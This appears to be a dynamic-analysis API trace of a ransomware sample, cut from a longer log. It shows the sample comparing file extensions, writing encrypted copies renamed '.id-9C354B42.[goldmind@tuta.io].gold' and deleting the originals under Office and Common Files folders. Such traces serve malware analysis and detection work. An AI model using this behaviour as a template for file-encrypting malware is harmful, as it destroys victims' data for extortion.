lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0115.970] lstrlenW (lpString=".1cd") returned 4 [0115.970] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0115.970] lstrlenW (lpString=".jpg") returned 4 [0115.970] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.970] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0115.970] lstrlenW (lpString="SECRECS.ICO") returned 11 [0115.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0115.971] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=2998) returned 1 [0115.971] CloseHandle (hObject=0x3d4) returned 1 [0115.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecs.ico")) returned 0x20 [0115.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecs.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0115.971] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.971] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecs.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0115.972] GetLastError () returned 0x0 [0115.972] ReadFile (in: hFile=0x3d4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0116.050] WriteFile (in: hFile=0x3f8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0116.051] ReadFile (in: hFile=0x3d4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.051] WriteFile (in: hFile=0x3f8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xea, lpOverlapped=0x0) returned 1 [0116.051] SetEndOfFile (hFile=0x3f8) returned 1 [0116.051] CloseHandle (hObject=0x3f8) returned 1 [0116.051] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.051] SetEndOfFile (hFile=0x3d4) returned 1 [0116.053] CloseHandle (hObject=0x3d4) returned 1 [0116.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecs.ico")) returned 1 [0116.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0116.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0116.064] lstrlenW (lpString=".doc") returned 4 [0116.064] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.064] lstrlenW (lpString=".docx") returned 5 [0116.064] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0116.064] lstrlenW (lpString=".pdf") returned 4 [0116.064] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.064] lstrlenW (lpString=".xls") returned 4 [0116.064] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.064] lstrlenW (lpString=".xlsx") returned 5 [0116.065] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0116.065] lstrlenW (lpString=".ppt") returned 4 [0116.065] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0116.065] lstrlenW (lpString=".zip") returned 4 [0116.065] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.065] lstrlenW (lpString=".rar") returned 4 [0116.065] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.065] lstrlenW (lpString=".bz2") returned 4 [0116.065] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.065] lstrlenW (lpString=".7z") returned 3 [0116.065] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0116.065] lstrlenW (lpString=".dbf") returned 4 [0116.065] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0116.065] lstrlenW (lpString=".1cd") returned 4 [0116.065] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0116.065] lstrlenW (lpString=".jpg") returned 4 [0116.065] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0116.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0116.065] lstrlenW (lpString=".doc") returned 4 [0116.065] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.065] lstrlenW (lpString=".docx") returned 5 [0116.065] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0116.065] lstrlenW (lpString=".pdf") returned 4 [0116.065] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.065] lstrlenW (lpString=".xls") returned 4 [0116.065] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.065] lstrlenW (lpString=".xlsx") returned 5 [0116.065] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0116.065] lstrlenW (lpString=".ppt") returned 4 [0116.065] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0116.065] lstrlenW (lpString=".zip") returned 4 [0116.065] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.065] lstrlenW (lpString=".rar") returned 4 [0116.065] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.065] lstrlenW (lpString=".bz2") returned 4 [0116.065] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.065] lstrlenW (lpString=".7z") returned 3 [0116.065] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0116.066] lstrlenW (lpString=".dbf") returned 4 [0116.066] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0116.066] lstrlenW (lpString=".1cd") returned 4 [0116.066] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0116.066] lstrlenW (lpString=".jpg") returned 4 [0116.066] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.066] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0116.066] lstrlenW (lpString="SIGN.CFG") returned 8 [0116.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0116.076] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=664) returned 1 [0116.076] CloseHandle (hObject=0x38c) returned 1 [0116.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg")) returned 0x20 [0116.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0116.149] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.149] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 64 os_tid = 0x6b0 [0087.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3a10d98 [0087.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3a20da0 [0087.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541408 [0087.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x53f038 [0087.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541420 [0087.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3df0020 [0087.168] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541438 [0087.168] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541438, Size=0x20) returned 0x55ea68 [0087.168] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541438 [0087.168] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541438, Size=0x20) returned 0x55ea90 [0087.168] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a40000 [0087.168] GetProcAddress (hModule=0x75a40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a6d650 [0087.168] Wow64DisableWow64FsRedirection (in: OldValue=0x33dff58 | out: OldValue=0x33dff58*=0x0) returned 1 [0087.168] lstrlenW (lpString="kernel32.dll") returned 12 [0087.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55ea68 | out: hHeap=0x4f0000) returned 1 [0087.168] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0087.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55ea90 | out: hHeap=0x4f0000) returned 1 [0087.168] Sleep (dwMilliseconds=0x64) [0087.353] Sleep (dwMilliseconds=0x64) [0087.588] Sleep (dwMilliseconds=0x64) [0087.734] Sleep (dwMilliseconds=0x64) [0088.001] lstrcmpiW (lpString1=".avi", lpString2=".gold") returned -1 [0088.001] lstrlenW (lpString="boxed-join.avi") returned 14 [0088.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0088.050] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=33280) returned 1 [0088.050] CloseHandle (hObject=0x310) returned 1 [0088.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0088.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0088.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0088.051] lstrlenW (lpString=".doc") returned 4 [0088.051] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0088.051] lstrlenW (lpString=".docx") returned 5 [0088.051] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0088.051] lstrlenW (lpString=".pdf") returned 4 [0088.051] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0088.051] lstrlenW (lpString=".xls") returned 4 [0088.051] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0088.051] lstrlenW (lpString=".xlsx") returned 5 [0088.051] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0088.051] lstrlenW (lpString=".ppt") returned 4 [0088.051] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0088.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0088.051] lstrlenW (lpString=".zip") returned 4 [0088.052] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0088.052] lstrlenW (lpString=".rar") returned 4 [0088.052] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0088.052] lstrlenW (lpString=".bz2") returned 4 [0088.052] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0088.052] lstrlenW (lpString=".7z") returned 3 [0088.052] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0088.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0088.052] lstrlenW (lpString=".dbf") returned 4 [0088.052] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0088.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0088.052] lstrlenW (lpString=".1cd") returned 4 [0088.052] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0088.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0088.052] lstrlenW (lpString=".jpg") returned 4 [0088.052] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0088.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0088.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0088.052] lstrlenW (lpString=".doc") returned 4 [0088.052] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0088.052] lstrlenW (lpString=".docx") returned 5 [0088.052] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0088.052] lstrlenW (lpString=".pdf") returned 4 [0088.052] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0088.052] lstrlenW (lpString=".xls") returned 4 [0088.052] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0088.052] lstrlenW (lpString=".xlsx") returned 5 [0088.052] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0088.052] lstrlenW (lpString=".ppt") returned 4 [0088.052] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0088.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0088.052] lstrlenW (lpString=".zip") returned 4 [0088.052] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0088.052] lstrlenW (lpString=".rar") returned 4 [0088.052] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0088.052] lstrlenW (lpString=".bz2") returned 4 [0088.052] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0088.052] lstrlenW (lpString=".7z") returned 3 [0088.052] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0088.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0088.052] lstrlenW (lpString=".dbf") returned 4 [0088.052] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0088.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0088.052] lstrlenW (lpString=".1cd") returned 4 [0088.052] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0088.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0088.052] lstrlenW (lpString=".jpg") returned 4 [0088.052] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0088.053] lstrcmpiW (lpString1=".avi", lpString2=".gold") returned -1 [0088.053] lstrlenW (lpString="correct.avi") returned 11 [0088.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0088.053] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=197120) returned 1 [0088.053] CloseHandle (hObject=0x310) returned 1 [0088.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0088.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0088.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0088.053] lstrlenW (lpString=".doc") returned 4 [0088.053] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0088.053] lstrlenW (lpString=".docx") returned 5 [0088.053] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0088.054] lstrlenW (lpString=".pdf") returned 4 [0088.054] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0088.054] lstrlenW (lpString=".xls") returned 4 [0088.054] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0088.054] lstrlenW (lpString=".xlsx") returned 5 [0088.054] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0088.054] lstrlenW (lpString=".ppt") returned 4 [0088.054] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0088.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0088.054] lstrlenW (lpString=".zip") returned 4 [0088.054] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0088.054] lstrlenW (lpString=".rar") returned 4 [0088.054] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0088.054] lstrlenW (lpString=".bz2") returned 4 [0088.054] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0088.054] lstrlenW (lpString=".7z") returned 3 [0088.054] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0088.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0088.054] lstrlenW (lpString=".dbf") returned 4 [0088.054] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0088.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0088.054] lstrlenW (lpString=".1cd") returned 4 [0088.054] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0088.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0088.054] lstrlenW (lpString=".jpg") returned 4 [0088.054] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0088.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0088.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0088.054] lstrlenW (lpString=".doc") returned 4 [0088.054] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0088.054] lstrlenW (lpString=".docx") returned 5 [0088.054] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0088.054] lstrlenW (lpString=".pdf") returned 4 [0088.054] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0088.054] lstrlenW (lpString=".xls") returned 4 [0088.054] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0088.054] lstrlenW (lpString=".xlsx") returned 5 [0088.054] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0088.054] lstrlenW (lpString=".ppt") returned 4 [0088.054] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0088.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0088.054] lstrlenW (lpString=".zip") returned 4 [0088.054] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0088.054] lstrlenW (lpString=".rar") returned 4 [0088.054] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0088.054] lstrlenW (lpString=".bz2") returned 4 [0088.054] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0088.054] lstrlenW (lpString=".7z") returned 3 [0088.054] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0088.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0088.054] lstrlenW (lpString=".dbf") returned 4 [0088.054] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0088.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0088.055] lstrlenW (lpString=".1cd") returned 4 [0088.055] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0088.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0088.055] lstrlenW (lpString=".jpg") returned 4 [0088.055] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0088.055] lstrcmpiW (lpString1=".avi", lpString2=".gold") returned -1 [0088.055] lstrlenW (lpString="delete.avi") returned 10 [0088.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0088.056] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=224256) returned 1 [0088.056] CloseHandle (hObject=0x310) returned 1 [0088.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0088.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0088.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0088.056] 